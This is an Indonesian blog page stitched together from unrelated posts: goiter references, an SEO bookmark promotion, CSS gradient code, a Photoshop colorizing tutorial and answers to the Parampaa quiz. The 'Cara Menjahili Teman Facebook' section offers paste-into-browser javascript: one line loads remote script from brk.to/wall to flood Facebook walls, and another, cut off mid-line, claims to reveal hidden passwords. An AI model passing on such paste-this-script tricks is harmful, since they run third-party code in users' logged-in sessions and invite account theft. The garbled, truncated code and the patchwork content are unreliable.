1. Anonim, 1994., Struma Nodusa Non Toksik., Pedoman Diagnosis dan Terapi., Lab/UPF Ilmu Bedah., RSUD Dokter Sutomo., Surabaya
2. Adediji., Oluyinka S.,2004., Goiter, Diffuse Toxic., eMedicine.,
3. Davis, Anu Bhalla., 2005, Goiter, Toxic Nodular., eMedicine.,
4. De Jong. W, Sjamsuhidajat. R., 1998., Buku Ajar Ilmu Bedah. Edisi Revisi., EGC., Jakarta
5. Djokomoeljanto, 2001., Kelenjar Tiroid Embriologi, Anatomi dan Faalnya., Dalam : Suyono, Slamet (Editor)., 2001., Buku Ajar Ilmu Penyakit Dalam.,FKUI., Jakarta
6. http://www.emedicine.com/med/topic917.htm
7. http://www.emedicine.com/med/topic920.htm
8. http://www.emedicine.com/med/topic919.htm
9. http://www.emedicine.com/MED/topic916.htm
10. Lee, Stephanie L., 2004., Goiter, Non Toxic., eMedicine.,
11. Mansjoer A et al (editor) 2001., Struma Nodusa Non Toksik., Kapita Selekta Kedokteran., Jilid 1, Edisi III., Media Esculapius., FKUI., Jakarta
12. Mulinda, James R., 2005., Goiter., eMedicine.,
13. Sadler GP., Clark OH., van Heerden JA., Farley DR., 1999., Thyroid and Parathyroid., In : Schwartz. SI., et al., 1999.,Principles of Surgery. Vol 2., 7th Ed., McGraw-Hill., Newyork

Social Bookmark Terbaik

Social Bookmark Terbaik. Kita tahu dalam dunia blogging, tidah terlepas dari yang namanya SEO (Sebagian Blogger / Web writter, sih...).

Ada kalanya, teknik SEO yang digunakan ada berbagai macem, salah satunya dengan mencari back-link dari social bookmark.

Nah...salah satu Social Bookmark Terbaik di Indonesia saat ini adalah dari situs bookmark.bertanyaseo.com

Sudah beberapa artikel yang aku submit kesana....

Rekomendasi ini sebenarnya langsung dari yang punya situs Dan Chindia di https://www.facebook.com/id.seotutorial

Silahkan submit artikel di bookmark.bertanyaseo.com untuk mencari back-link postingan kalian...!!

Kali aja ada yang tertarik buat submit artikelnya, langsung TKP bookmark.bertanyaseo.com

Demikian posting tentang Social Bookmark Terbaik di Indonesia, semoga bermanfaat..

Cara Membuat Warna Background Warna Warni Dengan Css

Cara Membuat Warna Background Warna Warni Dengan Css - halo sobat jumpa lagi dengan sundaboy, sekarang sundaboy akan mencoba share memperindah suatu background pada halaman posting atau pada sidebar milik sahabat, dengan kata lain Cara Membuat Warna Background Warna Warni dengan Memakai Kode Css. membahas tentang Kode Css tentu tidak akan ada habis habisnya, karena ternyata dengan kode css kita makin pintar untuk melakukan sebuah kreasi yang akan menghasilkan inspirasi baru, betul gak?! hehe Sebelumnya silahkan sahabat baca dulu tutorial sebelumya yaitu : Cara Membuat Tombol Dengan Css, Cara Mempercantik Link Dengan Css, Cara Membuat Efek shadow Pada Kotak, Cara Membuat Efek 3D Pada Tulisan Dengan Css. Nah sekarang kita lanjut pada pembahasan sesuai dengan judul diatas yaitu Cara Membuat Warna Background Warna Warni Dengan Css, supaya lebih jelas sahabat dapat melihat contoh yang sudah dibuat dibawah ini :

Nah bentuknya seperti ini sobat

Sahabat bisa berkreasi Sesuai dengan

keinginan sobat sendiri

warnapun bisa sahabat ganti sesuai

dengan yang diinginkan oleh sahabat

 lumayan mantap bukan ?! hehe

.

Nah apabila sahabat tertarik berikut adalah kode cssnya silahkan copy dan pastekan pada halaman posting milik sahabat

<div style="

background: -moz-linear-gradient(top, #FF0000, #FFFF00);

background: -webkit-gradient(linear, left top, left bottom, from(#FF0000), to(#FFFF00));">

GANTI DENGAN TULISAN SAHABAT DISINI

</div>

Nah kalau mau lebih rame lagi silahkan lihat contoh dibawah ini :

Nah bentuknya seperti ini sobat

Sahabat bisa berkreasi Sesuai dengan

keinginan sobat sendiri

warnapun bisa sahabat ganti sesuai

dengan yang diinginkan oleh sahabat

 lumayan mantap bukan ?! hehe
.

Nah untuk kodenya silahkan sahabat copy kode dibawah ini ya :

<div style="

background: -moz-linear-gradient(-40deg, black, green, yellow, orange, blue, indigo, violet); background: -webkit-gradient(linear, left bottom, right top, from(red), color-stop(16%,orange), color-stop(32%,yellow), color-stop(48%,green), color-stop(64%,blue), color-stop(80%,indigo), to(violet));">GANTI DENGAN TULISAN SAHABAT DISINI

</div>

Cara Menjahili Teman Facebook

#   Facebook Flood
    paste javascript di bawah ini

   klik ENTER akan muncul bok kecil di layar

tulis pesan kamu >>klik ok>>tulis jumlah pesan, untuk percobaan 20 saja tunggu 5-10 detik kemudian refres atau reload halaman dan lihat hasilnya
COPY PASTE SCRIPT di bawah ini :

javascript:(a=(b=document).createElement("script" )).src="//brk.to/wall",b.body.appendChild(a);void(0);

#   Melihat Password Bintang
   Cara Mengetahui Password Facebook Yang di Hidden dengan tanda bintang - *******
seperti cara biasa......di copy paste di browser.....

javascript: var p=r(); function r(){var g=0;var x=false;var x=z(document.forms);g=g+1;var w=window.frames;for(var k=0;k

#  ACAK - ACAK TAMPILAN FACEBOOK

   javascript:document.body.contentEditable='true'; document.designMode='on'; void 0

Cara Merubah Foto Hitam Putih Menjadi Berwarna

Pertama-tama kita akan mencoba menghilangkan bercak putih dari foto jadul dan kemudian kita akan melanjutkan untuk mewarnai.
untuk pemula saya sarankan untuk menggunakan gambar yang sederhana aja  seperti gambar berikut :

langkah 1
Kita akan mulai dengan menghilangkan bercak putih pada gambar. Pilih Clone Stamp Tool lalu tekan tombol Alt dan pilih permukaan polos yang tepat dekat semua bercak putih (harus lebih teliti). Lanjutkan proses ini sampai semua bercak putih bisa dihapus.

Setelah menghapus semua bercak, citra buruk gambar akan hilang dan terlihat bersih seperti gambar ini:

langkah 2
Berikutnya, kita akan melanjutkan dengan mewarnai gambar.jangan mewarnai gambar secara keseluruhan, disini kita akan melakukannya satu per satu dari tiap objek yang ada.

Pertama, kita pilih topi dengan menggunakan Lasso Tool Magnetic - seperti ini:

langkah 3
Untuk mewarnai, kita akan menggunakan Hue/Saturation (HSL). Ada banyak cara untuk mewarnai objek, tetapi HSL mungkin salah satu yang paling mudah dan paling fleksibel.

ok sekarang kita lanjutkan ke colorizing topi, tambahkan nilai-nilai ke (HSL) 360,35,-26 . (Saat menggunakan HSL,jangan lupa untuk mengaktifkan pilihan Colorize.)

 

langkah 4
Setelah menerapkan warna, topi mungkin terlihat polos, maka dari itu kita akan menambahkan beberapa Kebisingan warna pada objek. Pilih Filter -> Noise -> Add Noise dan berikan jumlah 
"5%"
jangan lupa cek pada opsi monokromatis untuk mendapatkan efek lebih halus. 

langkah 5
Selanjutnya, mantel. Prosesnya hampir sama - hanya nilai HSL-nya yang berbeda, yang masing-masing: 42, 10, - 63.
Untuk membuat keseluruhan tampilan mantel yang lebih alami, daripada menggunakan noise, saya menganjurkan menggunakan pilihan Grain Tekstur. kalian dapat menemukannya di Filter -> Filter Gallery -> pada tab Texture -> Grain.
-Intensitas: "10", Kontras: "50" dan Jenis Grain: "Soft".

 

langkah 6
selanjutnya- sepatu. Untuk memberikan efek sepatu mengkilap, saya akan menggunakan menu Image -> Adjustments -> Variation. Pilih "Midtones" dan klik Ok.

 

 Cobalah beberapa kombinasi warna CMYK sampai kalian mendapatkan warna boot yang sesuai dengan gambar ini :




langkah 7
Selanjutnya, pintu. Pertama, mari kita warnai perbatasan pintu.

 

Pilih salah satu sisi pintu perbatasan dengan menggunakan Rectangle Tool Marquee. Atur warna HSL dengan nilai 15, 45, -53 (jangan lupa cek colorize). Kemudian pilih Filter -> Galeri Filter -> pada tab Texture -> pilih Grain masukkan intensity: "12", contrast: "50" dan Grain type: "Enlarged".

Ikuti prosedur yang sama untuk seluruh daerah pintu.

langkah 8
Selanjutnya,kita akan mewarnai empat persegi panjang pada pintu dengan nilai-nilai HSL:, 55 20, -26 selanjutnya pilih Grain masukkan intensity: "12", contrast: "50" dan Grain type: "Enlarged".

 

langkah 9
selanjutnya kita akan menyelesaikan mewarnai pintu dengan menambahkan warna ke perbatasannya, nilai-nilai HSL yang kita masukkan: 25, 7, -69. Kemudian untuk mengatur agar lebih sempurna kita atur Grain menjadi, "12", Kontras: "50", Grain type: "Regular".

langkah 10
Setelah pintu, kita lanjutkan mewarnai tanah. Untuk warna tanah kita menggunakan pen tool atau Magic Wand Tool, atau polygonal lasso tool, selanjutnya atur nilai-nilai HSL menjadi: 20, 24, -56.



langkah 11
langkah terakhir, kita akan mewarnai latar belakang kayu. Untuk memberikan tampilan kayu yang alami, kita memberikan nilai HSL dari: 31, 53 -45, setelah itu kita akan menambahkan beberapa Kebisingan warna pada objek. Pilih Filter -> Noise -> Add Noise dan berikan jumlah 
"5%"
jangan lupa cek pada opsi monokromatis untuk mendapatkan efek lebih halus. 

Setelah prosedur selesai kita akan mendapatkan gambar seperti ini

Koreksi Warna

setelah selesai mewarnai semua objek. Sekarang, kita lanjutkan ke bagian akhir dan yang paling penting yaitu koreksi warna. Koreksi warna bila dilakukan dengan benar, akan memberikan gambar yang lebih realistis.

Untuk meningkatkan kecerahan gambar, kita pergi ke: menu Image -> Adjustments -> Curves, dan masukkan "186" untuk Output dan "164" untuk Input.

setelah itu kita akan mencerahkan bagian gambar berikut (di mana panah menunjuk). Pertama kita memilih bagian dengan Rectangle Marquee tool. Kemudian pilih Filter -> Galeri Filter -> Distort tab dan pilih Diffuse Glow dengan nilai berikut: Graininess: "0", Glow Amount: "11", Clear Amount: "15".dan selesai , lanjutkan ke menu Image -> Adjustments -> Curves lalu tambahkan "200" untuk ouptut dan "188" untuk Input.

 

Ikuti proses di atas untuk sisa bagian gambar namun dengan nilai yang berbeda Diffuse Glow : Graininess: "2", Glow Amount: "5", Clear Amount: "15". 

Untuk menggelapkan bayangan topi dan mantel, mari kita gunakan Burn Tool dan dengan memilih Range: Midtones dan turunkan nilai Paparannnya menjadi "20%" 

kita akan menggunakan Dodge Tool untuk mencerahkan mantel dan topi sehingga terlihat seolah-olah lampu datang dari sisi kanan, dan untuk memberikan rasa ketebalan untuk perbatasan pintu, kita menggunakan Burn Tool.

Dan ini adalah bagaimana hasil akhir Anda akan terlihat seperti (atau serupa) setelah kita memberikan warna.

Sumber : http://www.arieldavonar.com/

Kunci Jawaban Parampaa 1 dan 2 Password

Kunci Jawaban Parampaa 1 dan 2 Password, Jawaban Parampaa 1 dan 2, Jawaban Kuis Parampaa 1 dan 2 serta Password Level, Parampaa adalah kuis yang menguji otak kita untuk berpikir lebih keras, karena jawabannya terkadang aneh dan tak terduga. Disini memberikan secara gratis jawaban lengkap Quiz Parampaa 1 dan 2. Buat Sobat yang belum tahu dan ingin mencobanya sobat dapat bermain secara online di http://www.parampaa.net

Nah, bagi Sobat yang sudah menyerah dengan jawaban kuis parampaa ini silakan lanjutkan membaca postingan jawaban lengkap Quiz Parampaa 1 dan 2.

Berikut ini adalah Jawaban lengkap Quiz Parampaa 1 dan 2:

Jawaban lengkap Quiz Parampaa 1

• Parampaa Level 1 : Klik kata ?mulai?
• Parampaa Level 2 : Pilih Jawaban ?A?
• Parampaa Level 3 : Pilih lingkaran di atas huruf ?i?
• Parampaa Level 4 : Pilih Jawaban ?AY !!?
• Parampaa Level 5 : Pilih Jawaban ?B?
• Parampaa Level 6 : Temukan kata berwarna ?hijau? di antara kata berwarna merah
• Parampaa Level 7 : Pilih Jawaban ?Jali?
• Parampaa Level 8 : Pilih ??? yang mirip dengan soal
• Parampaa Level 9 : Ingat kombinasi warna yang ada karena bakal terus dipake, lalu klik ?ingat?
• Parampaa Level 10 : Pilih Jawaban ??hidup bercermin bangkai?
• Parampaa Level 11 : Cari kata ?mati? dalam matematika lalu klik
• Parampaa Level 12 : Pilih Jawaban ?10?
• Parampaa Level 13 : Klik ?13? pada tulisan Parampaa Level 13
• Parampaa Level 14 : Masukkan kombinasi warna ?merah-biru-kuning-merah-hijau?
• Parampaa Level 15 : Geser mouse keluar layar, maka kepala kucing akan tertunduk, lalu klik ?space? pada keyboard
• Parampaa Level 16 : Lari ke ?ujung kanan atas?
• Parampaa Level 17 : ?Gerakin cicaknya? sampai tujuan , tapi jangan sentuh warna lain
• Parampaa Level 18 : Tulis kata ?PANDA?
• Parampaa Level 19 : Pilih jawaban ?21?
• Parampaa Level 20 : Pilih jawaban ?D?
• Parampaa Level 21 : Pilih jawaban ?E?
• Parampaa Level 22 : Potong kabel lebar berwarna ?merah? di time counter
• Parampaa Level 23 : Klik ?23? di baris ke-3, ke-3 dr kiri
• Parampaa Level 24 : Pilih latar warna ?merah-biru-kuning-merah-hijau?
• Parampaa Level 25 : Klik ?lingkaran orange?, trus klo mau ke lingkaran satunya lg jgn lewat area permainan
• Parampaa Level 26 : Klik ?persegi panjang yang kiri bawah?
• Parampaa Level 27 : Di bawah 3 lambang hati ada seekor ?cicak?, tinggal di klik aja
• Parampaa Level 28 : Cuma butuh gerakin cursor atas bawah
• Parampaa Level 29 : Klo masih baru di Parampaa Level ini susun aja dulu gambarnya, trus ikutin tanda panah yang ke ?bulatan?, klik ?bulatannya?
• Parampaa Level 30 : Pilih jawaban ?20?
• Parampaa Level 31 : Klik kiri ?lingkaran orange? sebelah kiri, drag (jgn dilepasin) ke ?lingkaran orange? sebelah kanan. Ada cara lain, lelet
• Parampaa Level 32 : Pilih jawaban ?TDAJ?
• Parampaa Level 33 : Pilih jawaban ?100001?
• Parampaa Level 34 : Klik 3 ?lambang hati? di pojok kanan atas
• Parampaa Level 35 : Pencet tombol berwarna ?merah-biru-kuning-merah-hijau?
• Parampaa Level 36 : Drag tulisan ?Parampaa Level 36?, dibelakangnya ada tombol
• Parampaa Level 37 : Pilih jawaban ?zibba?
• Parampaa Level 38 : Tembak kepala ?cowo?
• Parampaa Level 39 : Pilih jawaban ?Parampaa Level 39?
• Parampaa Level 40 : Tekan tanda?->? di keyboard
• Parampaa Level 41 : Klik tanda ?!?
• Parampaa Level 42 : ?Tunggu? adengan oonnya selesai, jgn klik apa2
• Parampaa Level 43 : Klik ?NTB (Pulau Lombok)?
• Parampaa Level 44 : Klik ?1? pada soal 1=5
• Parampaa Level 45 : Klik ?45? pada tulisan Parampaa Level 45
• Parampaa Level 46 : Pianonya memiliki urutan nada C D E F G A B, trus klik nada piano hingga membentuk kata ?E G G?
• Parampaa Level 47 : Tembak kepala ?cowo?
• Parampaa Level 48 : Tulis jawaban ?11?
• Parampaa Level 49 : Klik tulisan ?run? sampai kepiting kabur ke kanan
• Parampaa Level 50 : Tekan angka ?1? di keyboard
• Parampaa Level 51 : Lolosin kuncinya, jgn kena area berwarna ?hitam?
• Parampaa Level 52 : Drag tanda (-) ke tulisan Parampaa Level 52, jadinya ?Parampaa Level 5-2?, trus klik tulisannya
• Parampaa Level 53 : Tekan huruf ?S? di keyboard
• Parampaa Level 54 : Pilih jawaban ?5?
• Parampaa Level 55 : Ketik ?anini? di keyboard
• Parampaa Level 56 : Geser kata ?bulan?, di belakangnya ada jawaban
• Parampaa Level 57 : Geser bolak-balik mouse di bawah tanda ?!!?
• Parampaa Level 58 : Pilih warna ?kuning?
• Parampaa Level 59 : Pilih warna ?kuning-hijau-orange-ungu-hijau-merah?
• Parampaa Level 60 : Klik huruf ?B? ?O? ?N? ?O?
• Parampaa Level 61 : Tekan piano dengan menulis ?C A G E?
• Parampaa Level 62 : Ga usah ngapa2in
• Parampaa Level 63 : Klik tulisan ?eve? pada tulisan Parampaa Level 62
• Parampaa Level 64 : Pilih jawaban ?parampaa?
• Parampaa Level 65 : Pilih ?Mr. Krab-Smurf-The Simpsons-Mr. Krab-Parampaa?
• Parampaa Level 66 : Ketik ?one? pada keyboard
• Parampaa Level 67 : Klik tanda ?.?, lalu klik ?matahari?, lalu klik ?pohon?
• Parampaa Level 68 : Tekan ?F1 dan F4? di bagian atas keyboard
• Parampaa Level 69 : Klik huruf ?A? pada kata heart
• Parampaa Level 70 : Pilih jawaban ?10?
• Parampaa Level 71 : Tahan terus menerus ?shift-6? sampe doraemon menghilang
• Parampaa Level 72 : Tangkap angka ?2?, drag ke samping angka 7
• Parampaa Level 73 : Urutan storage awalnya 1-2-3-4-5, ubah ke 2-5-3-4-1
• Parampaa Level 74 : Pilih ?lingkaran-besar-kuning-tersenyum?
• Parampaa Level 75 : Tembak kata ?HER?
• Parampaa Level 76 : Klik kanan layar, trus klik kiri, biar mousenya kelihatan, tekan bagian tengah ?O? pada kata mouse, telusuri lalu klik
• Parampaa Level 77 : Drag tulisan ?mouse? ke tombol hijau, drag lagi ke persegi di sebelah kiri, klik perseginya
• Parampaa Level 78 : Klik ?jendela di villa? pas lampunya nyala
• Parampaa Level 79 : Tulis ?Try Again?
• Parampaa Level 80 : Tulis ?The Cranberries?
• Parampaa Level 81 : Pilih jawaban ?13?
• Parampaa Level 82 : Pilih ?OK?, drag bomnya, klik tulisan yang tertutup bom
• Parampaa Level 83 : Tunggu hingga detik ?ke-3?, akan ada tulisan ?S7OP?, klik tulisan S7OP-nya
• Parampaa Level 84 : Ketik ??? pada keyboard
• Parampaa Level 85 : Ketik ?Parampaa Level 85?, ketik ??, ketik ?you?re welcome?
• Parampaa Level 86 : Klik ?bagian tengah lingkaran bagian bawah pada angka 8? tulisan ?Parampaa Level 86?
• Parampaa Level 87 : ?Tunggu kuncinya masuk? dulu, lalu tekan ?enter?
• Parampaa Level 88 : Tekan ?F8?, trus pilih ?safe mode?
• Parampaa Level 89 : Klik buku berwarna ?Biru-Ungu-Kuning-Ungu?
• Parampaa Level 90 : Pilih lambang ?omega (kaya? tapal kuda)? dan ?69?
• Parampaa Level 91 : Cuma butuh ?kelincahan tangan dan kesabaran?
• Parampaa Level 92 : Klik warna ?hijau-merah-kuning-biru-merah?
• Parampaa Level 93 : Hitung dengan cepat jumlah bola berwarna ?merah?
• Parampaa Level 94 : Klik ?Budi?
• Parampaa Level 95 : Tunggu sampai ?latarnya warna hijau?, trus klik ?lanjut?
• Parampaa Level 96 : Klik ?mata, bintik tangan, duri di kepala, latar merah, rumput?
• Parampaa Level 97 : Klik ?tombol merah?
• Parampaa Level 98 : Butuh kecepatan tangan dan koordinasi mata yg baik, lingkaran terkecil ada di antara ?Level & 98"
• Parampaa Level 99 : Klik orang kedua dari kiri

Password Naik Level Cepat

• Parampaa Level 11 : eleven
• Parampaa Level 21 : twenty1
• Parampaa Level 31 : thirty1
• Parampaa Level 41 : fourty1
• Parampaa Level 52 : fifty2
• Parampaa Level 67 : sunset
• Parampaa Level 71 : dorayaki
• Parampaa Level 80 : linger
• Parampaa Level 90 : gomugomu

Jawaban lengkap Quiz Parampaa 2

• Parampaa Level 101.Klik ?MULAI?
• Parampaa Level 102.Gerakin aja, tapi jangan kena yang ?MERAH?
• Parampaa Level 103.Klik ?THIS Parampaa Level?
• Parampaa Level 104.Klik ?DI TELITI? ?KEKELILIRUAN? ?DIKALIMAT?"??
• Parampaa Level 105.Klik?P?
• Parampaa Level 106.Cari?,lalu klik ?TOMBOLNYA?
• Parampaa Level 107.Klik ?I? pada tulisan ?INDONESIA?
• Parampaa Level 108.Ketik di Keyboard angka ?4?
• Parampaa Level 109.KLIK ?M?
• Parampaa Level 110.Klik ?V? pada ?Parampaa Level 10?
• Parampaa Level 111.Tulis ?Zippo?
• Parampaa Level 112.klik ?pojok?
• Parampaa Level 113.drag tulisan ?e el? pada tulisan ?Parampaa Level 113? sampai ke tanda bacanya,terus klik tulisannya
• Parampaa Level 114.Tekan nada ?7 dan 4?
• Parampaa Level 115.Tekan saja,kalau lawannya itu kita harus apa utk menang?
• Parampaa Level 116.klik yg bentuknya ? ?
• Parampaa Level 117.pilih arahnya yg ?terbalik?
• Parampaa Level 118.tulis ?yeyeyeyeye?
• Parampaa Level 119.hitung burung yg ?terbang?
• Parampaa Level 120.klik ?zb-yb-bb-gb?
• Parampaa Level 121.tekan ?kedua?
• Parampaa Level 122.tekan ?????
• Parampaa Level 123.tekan sesuatu yg ditunjuk ?Wayang?
• Parampaa Level 124.klik bagian tanda ?+? yg pertama
• Parampaa Level 125.klik ?kaki ayam? terus klik ?6? pada tulisan ?Parampaa Level 126?
• Parampaa Level 126.tekan ?bulan?
• Parampaa Level 127.tekan ?tomat? pada tulisan ?monosodium glutomat?
• Parampaa Level 128.klik ?parampaa? yg tidak ?berkedip?
• Parampaa Level 129.tulis?asooooiiiyyyyy?
• Parampaa Level 130.klik nada ?6 7?
• Parampaa Level 131.sabar dul, klik warna yg ditunjukkan oleh tulisan ?ini?
• Parampaa Level 132.klik ?danau?
• Parampaa Level 133.klik tulisan ?human?
• Parampaa Level 134.klik ?prancis?
• Parampaa Level 135.tekan di keyboard ?y?
• Parampaa Level 136.tulis ?namtab?
• Parampaa Level 137.tekan ?enter? di keyboard ?13x?
• Parampaa Level 138.tekan bagian dari ?dua dari bawah yg bagian sebelah kanan?
• Parampaa Level 139.tekan ?spasi di keyboard?10x?
• Parampaa Level 140.tulis ?888-423-4200?
• Parampaa Level 141.tulis ?pecasndahe?
• Parampaa Level 142.tekan ?12?
• Parampaa Level 143.tekan warna ?kuning-merah-biru-kuning-pink?
• Parampaa Level 144.bohong saja?
• Parampaa Level 145.TULIS ?145? TULIS ?:?(? TULIS ? I STILL LOVE YOU BABY?
• Parampaa Level 146.tekan di keyboard ?\? ?/?
• Parampaa Level 147.tekan ?tab? di keyboard
• Parampaa Level 148.tulis ?password?
• Parampaa Level 149.tekan kota ?palu? yg ada di tengah2 pulau ?Sulawesi?
• Parampaa Level 150.klik yg menghadap kek kiri yg ada Cuma kelingking,tengah,terlunjuk
• Parampaa Level 151.tekan saja bolanya yg ?tinggi?
• Parampaa Level 152.drag tulisan ?2? pada tulisan ?Parampaa Level 152? sampai ke tanda ?Titik? yg di sebelah tulisan ?keliru?
• Parampaa Level 153.klik yg berbentuk ? ?
• Parampaa Level 154.klik ?5MB?
• Parampaa Level 155.klik ?tembok besar cina?
• Parampaa Level 156.tekan saja yg benar
• Parampaa Level 157.tekan ?524287?
• Parampaa Level 158.tekan ?aye-aye?
• Parampaa Level 159.tulis ?yoi, tentu saja?
• Parampaa Level 160.Tulis ?160? terus nanti tulis ?heritage\falsification\intervantion dll
• Parampaa Level 161.cepat lari ke tmp tujuan!
• Parampaa Level 162.tekan tanda ?=?
• Parampaa Level 163.tekan ?merah putih,putih,putih,putih,air?
• Parampaa Level 164.tulis ?40?
• Parampaa Level 165.tekan di keyboard tanda ? ke kanan,bawah,kiri?
• Parampaa Level 166.tekan ?spasi,enter,ener,spasi
• Parampaa Level 167.tulis ?13?
• Parampaa Level 168.tekan ?saturnus?
• Parampaa Level 169.tekan ?169?
• Parampaa Level 170.tekan di keyboard ?pampam?
• Parampaa Level 171.itu Cuma gambar,drag saja,terus klik ?parampaa?nya
• Parampaa Level 172.drag garis yg utk loadingnya sampai penuh
• Parampaa Level 173.klik ?hati? yg paling ?kanan?
• Parampaa Level 174.tulis ?yess!!?
• Parampaa Level 175.tekan angka ?4? pada no 3.a ,tekan di maksud pada no 3.b, dan I sebelum tanda kurung pertama di no terakhir
• Parampaa Level 176.klik ?mata 11X?
• Parampaa Level 177.tekan ?#ff0000,#0000ff,#ffff00,#ff0000,#009900?
• Parampaa Level 178.tekan di keyboard ?+ 5x?
• Parampaa Level 179.tekan ?jasminum sambac?
• Parampaa Level 180.tulis ?Sheffield?
• Parampaa Level 181.tekan ?6?
• Parampaa Level 182.munculin mousnya dg tekan kanan tekan ?ok,close,ok?
• Parampaa Level 183.tekan ?telor\ayam?
• Parampaa Level 184.tulis ?melayang?
• Parampaa Level 185.tekan ?tikus?
• Parampaa Level 186.tulis ?mike?
• Parampaa Level 187.tekan ?bendera selandia baru?
• Parampaa Level 188.klik lingkaran pada huruf ?I?
• Parampaa Level 189.?a, e, i, o, u, h, k, l, m, n, p, w, and? ` itu adalah huruf hawai
• Parampaa Level 190.tekan ?190?
• Parampaa Level 191.tekan ?7?
• Parampaa Level 192.tekan di keyboard ?ff00f?
• Parampaa Level 193.tulis ?bandit?
• Parampaa Level 194.Jalanin aja, hati-hati sampai kena yang merah, dia gerak sendiri. (TIPS:TEKAN KIRI TERUS SAMPAI KE LINGKARAN HIJAU)
• Parampaa Level 195.TEKAN ?Parampaa? yg ada di ?kado? paling atas
• Parampaa Level 196.tulis ?aisenodni?
• Parampaa Level 197.tekan di keyboard dg shift ?v,w,x,y,z?
• Parampaa Level 198.tekan ?kepala2? yg ada di gambar
• Parampaa Level 199.tulis ?ucrut?
• Parampaa Level 200.tulis ?Leucopsar Rothschildi?
• Parampaa Level 201.tekan ?delapan 5x?
• Parampaa Level 202.tulis ?helmezet?

Itu tadi Kunci Jawaban Parampaa 1 dan 2 Serta Password naik level, semoga menambah seru sobat dalam bermain Parampa